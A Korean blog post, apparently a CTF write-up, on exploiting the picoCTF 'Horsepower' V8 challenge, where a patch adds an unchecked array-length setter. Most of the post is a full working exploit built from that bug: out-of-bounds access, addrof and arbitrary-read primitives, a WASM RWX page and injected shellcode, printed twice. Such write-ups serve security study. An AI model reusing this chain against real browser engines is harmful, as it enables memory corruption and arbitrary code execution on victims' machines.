🧡 Explaination
d8, source, server.py가 주어진다. server.py는 Kit Engine 문제와 동일하다.
🧡 Function Explaination
setHorsepower 함수가 추가되었다. 내부에 추가된 tq는 ArraySetHorsepower인데, setHorsepower 함수를 부르면 이 부분이 호출된다.
diff --git a/src/builtins/array-horsepower.tq b/src/builtins/array-horsepower.tq
new file mode 100644
index 0000000000..7ea53ca306
--- /dev/null
+++ b/src/builtins/array-horsepower.tq
@@ -0,0 +1,17 @@
+// Gotta go fast!!
+
+namespace array {
+
+transitioning javascript builtin
+ArraySetHorsepower(
+ js-implicit context: NativeContext, receiver: JSAny)(horsepower: JSAny): JSAny {
+ try {
+ const h: Smi = Cast<Smi>(horsepower) otherwise End;
+ const a: JSArray = Cast<JSArray>(receiver) otherwise End;
+ a.SetLength(h);
+ } label End {
+ Print("Improper attempt to set horsepower");
+ }
+ return receiver;
+}
+}
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index ce3886e87e..6621a79618 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -1754,6 +1754,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
array_function, DONT_ENUM);
+ SimpleInstallFunction(isolate_, proto, "setHorsepower",
+ Builtins::kArraySetHorsepower, 1, false);
diff --git a/src/objects/js-array.tq b/src/objects/js-array.tq
index b18f5bafac..b466b330cd 100644
--- a/src/objects/js-array.tq
+++ b/src/objects/js-array.tq
@@ -28,6 +28,9 @@ extern class JSArray extends JSObject {
macro IsEmpty(): bool {
return this.length == 0;
}
+ macro SetLength(l: Smi) {
+ this.length = l;
+ }
length: Number;
}
🧡 Attack Vector
취약점은 ArraySetHorsepower 내부에 있는 SetLength 함수에서 발생한다. Setlength 함수는 매크로로 정의되어 있는데, Smi 인자 하나를 받아 this에 해당하는 JSArray의 length 값을 내가 넘긴 인자로 바꿀 수 있다. 인자값에 대한 검증이 없기 때문에 Out-of-Bound 취약점이 발생한다. v8 에서는 기본적으로 JSArray Index에 대해서 값 검증을 수행한다. 원래라면 아래 출력된 것 처럼 undefined 라는 결과가 나와야 하지만..
d8> var buf = [1,2,3,4];
undefined
d8> print(buf[10]);
undefined
undefined
JSArray의 length 값을 바꿔주면 다음과 같이 memory leak이 발생한다.
%DebugPrint(buf);
DebugPrint: 0x2ac808084ebd: [JSArray]
- map: 0x2ac808243951 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x2ac80820ab61 <JSArray[0]>
- elements: 0x2ac808210c55 <FixedArray[4]> [PACKED_SMI_ELEMENTS (COW)]
- length: 2048
d8> print(buf[10]);
3
undefined
이를 이용해서 익스플로잇 시나리오를 구성하면 된다.
🧡 How to Exploit?
위에서 말했다시피 Out-of-Bound 취약점을 이용해 AAR을 구현하고, rwx 공간에 쉘코드를 올려 실행하는 방법을 선택할 것이다.
먼저, 원하는 객체의 주소를 leak 해주는 함수인 addrof를 구현한다. obj_addr[0]에 custom_obj를 넣고, float_arr[12]에 접근하면, 내가 넣은 객체 값의 주소를 얻을 수 있다. 참고로, offset은 선언한 객체의 크기마다 다르니 주의하자.
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj = {"A": 1};
var obj_addr = [obj];
var implement_arr = [13.37, 13.37, 13.37, 13.37];
float_arr.setHorsepower(300);
function addrof(custom_obj) {
obj_addr[0] = custom_obj;
return ftoi(float_arr[12]) >> 32n;
}
다음은, AAR을 구현한다. float_arr[21]에는 implement_arr의 length와 elements pointer 정보가 들어가있다. length는 그대로 유지하고, elements pointer에 해당하는 값을 우리가 원하는 주소 - 8로 바꿔주면 implement_arr의 elements pointer가 변경되므로 AAR이 가능해진다.
function aar(addr) {
if(addr % 2n == 0)
addr += 1n;
var size = ftoi(float_arr[21]) & 0xf00000000n;
var fake_addr = addr-0x8n;
float_arr[21] = itof(size + fake_addr);
return implement_arr[0];
}
마지막으로 Dataview를 이용해 rwx page에 쉘코드를 올리는 함수를 구현한다. WASM을 이용해 rwx page를 만들고, OOB를 이용해 ArrayBuffer의 backing store을 rwx address로 바꾸면 쉘코드가 올라가게 된다.
function copy_shellcode(addr, shellcode) {
let buffer = new ArrayBuffer(0x100);
console.log("buffer: 0x" + addrof(buffer).toString(16))
let dataview = new DataView(buffer);
float_arr[288] = addr;
//%DebugPrint(buffer);
for(let i=0; i<shellcode.length; i++)
dataview.setUint32(i*4, shellcode[i], true);
}
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
var rwx_page_addr = aar(addrof(wasm_instance)+0x68n-1n);
var custom_shellcode = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b];
console.log("rwx_page_addr: 0x" + ftoi(rwx_page_addr).toString(16));
console.log("wasm_instance: 0x" + addrof(wasm_instance).toString(16));
copy_shellcode(rwx_page_addr, custom_shellcode);
f();
🧡 Full Exploitation Code
var buf = new ArrayBuffer(8);
var u64_buf = new Uint32Array(buf);
var f64_buf = new Float64Array(buf);
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj = {"A": 1};
var obj_addr = [obj];
var implement_arr = [13.37, 13.37, 13.37, 13.37];
function itof(val) {
u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
u64_buf[1] = Number(BigInt(val) >> 32n);
return f64_buf[0];
}
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
float_arr.setHorsepower(300);
function addrof(custom_obj) {
obj_addr[0] = custom_obj;
return ftoi(float_arr[12]) >> 32n;
}
function aar(addr) {
if(addr % 2n == 0)
addr += 1n;
var size = ftoi(float_arr[21]) & 0xf00000000n;
var fake_addr = addr-0x8n;
float_arr[21] = itof(size + fake_addr);
return implement_arr[0];
}
function copy_shellcode(addr, shellcode) {
let buffer = new ArrayBuffer(0x100);
console.log("buffer: 0x" + addrof(buffer).toString(16))
let dataview = new DataView(buffer);
float_arr[288] = addr;
//%DebugPrint(buffer);
for(let i=0; i<shellcode.length; i++)
dataview.setUint32(i*4, shellcode[i], true);
}
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f = wasm_instance.exports.main;
var rwx_page_addr = aar(addrof(wasm_instance)+0x68n-1n);
var custom_shellcode = [0x0cfe016a, 0x2fb84824, 0x2f6e6962, 0x50746163, 0x68e78948, 0x7478742e, 0x0101b848, 0x01010101, 0x48500101, 0x756062b8, 0x606d6701, 0x04314866, 0x56f63124, 0x485e0c6a, 0x6a56e601, 0x01485e10, 0x894856e6, 0x6ad231e6, 0x050f583b];
console.log("rwx_page_addr: 0x" + ftoi(rwx_page_addr).toString(16));
console.log("wasm_instance: 0x" + addrof(wasm_instance).toString(16));
copy_shellcode(rwx_page_addr, custom_shellcode);
f();
'공부용 > Browser Exploitation' 카테고리의 다른 글
[Browser Exploitation] picoCTF - Turboflan (0) | 2021.08.15 |
---|---|
[Browser Exploitation] picoCTF - Kit Engine (0) | 2021.08.04 |
[Browser Exploitation] *CTF 2019 oob-v8 (0) | 2021.08.04 |
[Browser Exploitation] Prepare for WebKit Exploit (0) | 2021.07.28 |
[Browser Exploitation] JSC boxed vs. unboxed (0) | 2021.07.28 |